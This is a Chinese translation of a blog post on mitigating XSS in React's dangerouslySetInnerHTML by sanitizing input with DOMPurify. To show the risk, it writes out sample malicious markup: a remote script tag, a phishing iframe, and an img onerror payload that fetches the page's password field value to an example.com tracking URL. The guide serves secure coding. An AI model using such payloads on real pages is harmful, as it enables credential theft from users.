封面圖片由 Lautaro Andreani
...
TL: DR;盲目地將內容轉儲到危險的SetInnerHTML 中就是這樣 - 危險。確保您正在清理傳遞給危險SetInnerHTML 的任何輸入,除非您對輸入有明確控制。
以下組件作為透過危險的 SetInnerHTML 降低 XSS 攻擊風險的簡單範例:
//https://github.com/cure53/DOMPurify import React from "react"; import DOMPurify from "dompurify"; const sanitize = (dirty) => DOMPurify.sanitize(dirty); const DangerousHtml = ({ innerHTML, tag }) => { const clean = sanitize(innerHTML); if (typeof tag === "undefined") { return <div dangerouslySetInnerHTML={{ __html: clean }} />; } return <tag dangerouslySetInnerHTML={{ __html: clean }} />; }; export default DangerousHtml;
透過使用我們自訂的 DangerousHtml 元件,我們可以大幅降低 XSS 漏洞的風險,因為我們會在輸入到達實際危險的 SetInnerHTML 屬性之前對其進行清理
DOMPurify 也是高度可配置的,因此您可能想要擁有多個元件(如我們的範例)來處理特定用例或明確允許以下某些範例。
以下是一些有關漏洞如何發生的簡短範例:
XSS 是可能的,因為 React 不會刪除指向惡意負載的腳本標籤。
我們也不應該以這種方式傳遞 iFrame。相反,我們應該將 URL 和任何其他「安全性」屬性作為 props 傳遞,並在 iFrame 標記中自行渲染,以保留對其渲染能力和來源的控制,或擁有專用的 iFrame 元件。
例如,考慮我們從 API 請求收到的惡意標記。如果我們透過危險的SetInnerHTML盲目地設定它,我們將為使用者提供以下輸出:
// Bad markup going in <div dangerouslySetInnerHTML={{ __html: `<p> Hi <script src="https://example.com/malicious-tracking"></script> Fiona, here is the link to enter your bank details: <iframe src="https://example.com/defo-not-the-actual-bank"></iframe> </p>`, }} />
<!-- Bad markup rendered on the DOM --> <div> <p> Hi <script src="https://example.com/malicious-tracking"></script> Fiona, here is the link to enter your bank details: <iframe src="https://example.com/defo-not-the-actual-bank"></iframe> </p> </div>
但是,使用我們的 DangerousHTML 元件意味著我們已經減輕了使用者可能面臨的大部分風險:
// Bad markup going in <DangerousHtml innerHTML={`<p> Hi <script src="https://example.com/malicious-tracking"></script> Fiona, here is the link to enter your bank details: <iframe src="https://example.com/defo-not-the-actual-bank"></iframe> </p>`} />
<!-- Clean markup rendered on the DOM --> <div> <p>Hi Fiona, here is the link to enter your bank details:</p> </div>
Fiona 可能認為網站因某種原因損壞或丟失內容 - 但這仍然比被釣魚獲取銀行詳細資訊要好!
有些 DOM 元素具有我們可以濫用的特殊屬性,我們應該保護自己免受這些屬性的侵害。
在此範例中,我們可以在
例如,給出以下內容:
// Bad markup going in <div dangerouslySetInnerHTML={{ __html: ` <p> Hola <img src='none.png' onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' /> Sharon </p>`, }} />
<!-- Bad markup rendered on the DOM --> <div> <p> Hola <img src="none.png" onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' /> Sharon </p> </div>
在這種情況下,當圖像請求最終失敗並且用戶永遠不會知道時,我們的中毒標記正在從 DOM 竊取資料。
我們可以使用 DangerousHtml 組件再次緩解這種情況
// Bad markup going in <DangerousHtml innerHTML={` <p> Hola <img src='none.png' onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' /> Sharon </p>`} />
<!-- Clean markup rendered on the DOM --> <div> <p> Hola <img src="none.png" /> Sharon </p> </div>
考慮到我們可能真的想執行一些JS 來顯示後備映像,我們不應該再相信原始的、未經淨化的HTML 來為我們做這件事,並且最好使用我們需要的FallbackImageURL 或onError 屬性。可以像這樣明確地添加到我們的圖像標籤中:
// Usual imports const MyImageComponent = ({ fallbackUrl, url }) => { // Usual component setup const displayFallbackImage = (evt) => { // If there is no fallback, do nothing if (!fallbackUrl) return; // set the url to the fallbackUrl evt.target.src = fallbackUrl; }; return ( <img src={url} onerror={displayFallbackImage} // ... any other props /> ); };
...
原文:https://timbryan.dev/posts/react-xss-via-dangerouslySetInnerHtml
以上是使用 React 的「危險 SetInnerHTML」時緩解 XSS 漏洞的詳細內容。更多資訊請關注PHP中文網其他相關文章!